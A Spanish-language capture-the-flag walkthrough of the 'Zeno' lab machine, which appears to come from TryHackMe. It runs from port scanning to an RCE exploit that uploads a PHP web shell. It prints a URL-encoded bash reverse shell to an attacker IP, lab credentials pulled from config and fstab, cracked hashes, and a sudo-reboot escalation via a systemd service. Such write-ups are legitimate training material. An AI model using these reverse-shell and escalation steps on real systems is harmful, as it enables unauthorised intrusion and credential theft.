Zeno

Para lograr obtener el usuario root en esta maquina, tendremos que hacer uso de un exploit que nos permite subir un archivo .php malicioso que nos permita ejecutar comandos en la maquina victima para luego escalar privilegios inyectando un codigo malicioso en fichero que hace uso del binario reboot.

20231127144335.png

Walkthrough


Enumeración

Iniciamos como en todas las maquinas realizando un nmap enumerando solo los puertos abiertos, ya que si lanzamos la enumeración de versiones y servicios esto tomara mucho tiempo.

❯ nmap -p- --open --min-rate 1000 -vvv -Pn -n 10.10.196.185 -oG allportsScan
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack
12340/tcp open  unknown syn-ack

Teniendo los puertos abiertos 22 y 12340 procederemos a enumerar las versiones y servicios que se ejecuten en este.

❯ nmap -p22,12340 -sC -sV -Pn -n -vvv 10.10.196.185 -on servicesScan
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 09:23:62:a2:18:62:83:69:04:40:62:32:97:ff:3c:cd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDakZyfnq0JzwuM1SD3YZ4zyizbtc9AOvhk2qCaTwJHEKyyqIjBaElNv4LpSdtV7y/C6vwUfPS34IO/mAmNtAFquBDjIuoKdw9TjjPrVBVjzFxD/9tDSe+cu6ELPHMyWOQFAYtg1CV1TQlm3p6WIID2IfYBffpfSz54wRhkTJd/+9wgYdOwfe+VRuzV8EgKq4D2cbUTjYjl0dv2f2Th8WtiRksEeaqI1fvPvk6RwyiLdV5mSD/h8HCTZgYVvrjPShW9XPE/wws82/wmVFtOPfY7WAMhtx5kiPB11H+tZSAV/xpEjXQQ9V3Pi6o4vZdUvYSbNuiN4HI4gAWnp/uqPsoR
|   256 33:66:35:36:b0:68:06:32:c1:8a:f6:01:bc:43:38:ce (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEMyTtxVAKcLy5u87ws+h8WY+GHWg8IZI4c11KX7bOSt85IgCxox7YzOCZbUA56QOlryozIFyhzcwOeCKWtzEsA=
|   256 14:98:e3:84:70:55:e6:60:0c:c2:09:77:f8:b7:a6:1c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOKY0jLSRkYg0+fTDrwGOaGW442T5k1qBt7l8iAkcuCk
12340/tcp open  http    syn-ack Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-methods: 
|   Supported Methods: OPTIONS GET HEAD POST TRACE
|_  Potentially risky methods: TRACE
|_http-title: We've got some trouble | 404 - Resource not found

Enumerando el puerto 12340 podemos ver un sitio web.

20231127165825.png

Ahora enumeramos los directorios del sitio web con la herramienta ffuf.

❯ ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fl 15 -u http://10.10.196.185:12340/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.196.185:12340/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 15
________________________________________________

rms                     [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 196ms]

El directorio del sitio web que encontramos es rms, visiatamos el sitio web http://10.10.196.185:12340/rms/

20231127170435.png

Luego seguimos enumerando directorios pero no encontramos nada interesante, también intentamos algunos ataques creándonos una cuenta.

Buscamos por el nombre que se tenia en el titulo y encontramos algo interesante, por lo que es importante buscar por sus nombres de la web y títulos para ver si encontramos algo que nos pueda ayudar a explotar.

20231127183405.png

Explotación

En este caso encontramos un exploit que es Pathfinder Hotel exploit que nos permite subir un archivo.

❯ python3 exploitHotelManagementSystemRCE.py http://10.10.196.185:12340/rms

    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |
                                             |_|



Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL : http://10.10.196.185:12340/rms/images/reverse-shell.php

Por lo que subiremos un archivo php que nos permita ejecutar comandos, una web donde se tiene web shell de las que puedes revisar es la siguiente: web-shells

Una vez que ya se subió el archivo malicioso podemos ejecutar comandos. La manera que suelo hacerlo es haciendo uso de curl pero con la revershell en urlencode

bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F[IP-ATTACKER]%2F443%20%3C%261%27

Teniendo nuestra revershell en urlencode, realizaremos la peticion con nuestra revershell

curl -s http://10.10.196.185:12340/rms/images/reverse-shell.php?cmd=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F[IP-ATTACKER]%2F443%20%3C%261%27

Antes de realizar la petición debemos ponernos a la escucha con ncat para recibir la shell de la maquina victima.

Escalada de privilegios

❯ ncat -lvnp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.196.185:40880.
bash: no job control in this shell
bash-4.2$ whoami+
whoami
bash-4.2$ 

Enumerando encontraremos un archivo de configuracion con credenciales que haremos uso.

/var/www/html/rms/connection
bash-4.2$ cat config.php 
<?php
    define('DB_HOST', 'localhost');
    define('DB_USER', 'root');
    define('DB_PASSWORD', 'veerUffIrangUfcubyig');
    define('DB_DATABASE', 'dbrms');
    define('APP_NAME', 'Pathfinder Hotel');
    error_reporting(1);
?>
bash-4.2$ 

Ingresando a la base de datos encontraremos credenciales que podemos hacer uso o al menos intentar algo.

bash-4.2$ mysql -h localhost -u root -p dbrms
Enter password:  
20231127192937.png
Stephen :Omolewa:omolewastephen@gmail.com: 81dc9bdb52d04dc20036dbd8313ed055
John : Smith: jsmith@sample.com : 1254737c076cf867dc53d60a0364f38e
edward: zeno : edward@zeno.com : 6f72ea079fd65aff33a67a3f3618b89c
seven : seven : seven@gmail.com : 651f1b54904a1fdc5201ee24605418b7 

Una herramienta util es Crackstation y nos ayudara a crackear las contraseñas que estan hasheadas.

Stephen :Omolewa:omolewastephen@gmail.com -> 1234
John : Smith: jsmith@sample.com -> jsmith123

Teniendo las credenciales en texto plano no se puede hacer mucho ya que ninguna es valida. Enumerando con linpeas encontraremos una credencial valida que haremos uso para ingresar como edward

20231127202949.png
/etc/fstab:#//10.10.10.10/secret-share        /mnt/secret-share       cifs    _netdev,vers=3.0,ro,username=zeno,password=FrobjoodAdkoonceanJa,domain=localdomain,soft    0 0

Usuario: Edward

20231127221752.png

Ahora como el usuario edward enumeraremos el sistema y permisos

[edward@zeno ~]$ sudo -l
Matching Defaults entries for edward on zeno:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
    USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User edward may run the following commands on zeno:
    (ALL) NOPASSWD: /usr/sbin/reboot

Ejecutando el comando sudo -l podemos ver que tenemos permiso de reiniciar la maquina por lo que el siguiente post: sudo-reboot-privilege-escalation nos ayudara a inyectar un comando en un archivo que es /etc/systemd/systm/example.service para cambiar los permisos de la /bin/bash.

Usuario: root

20231128000917.png

¡VAMOS!

Happy hacking :)

Last updated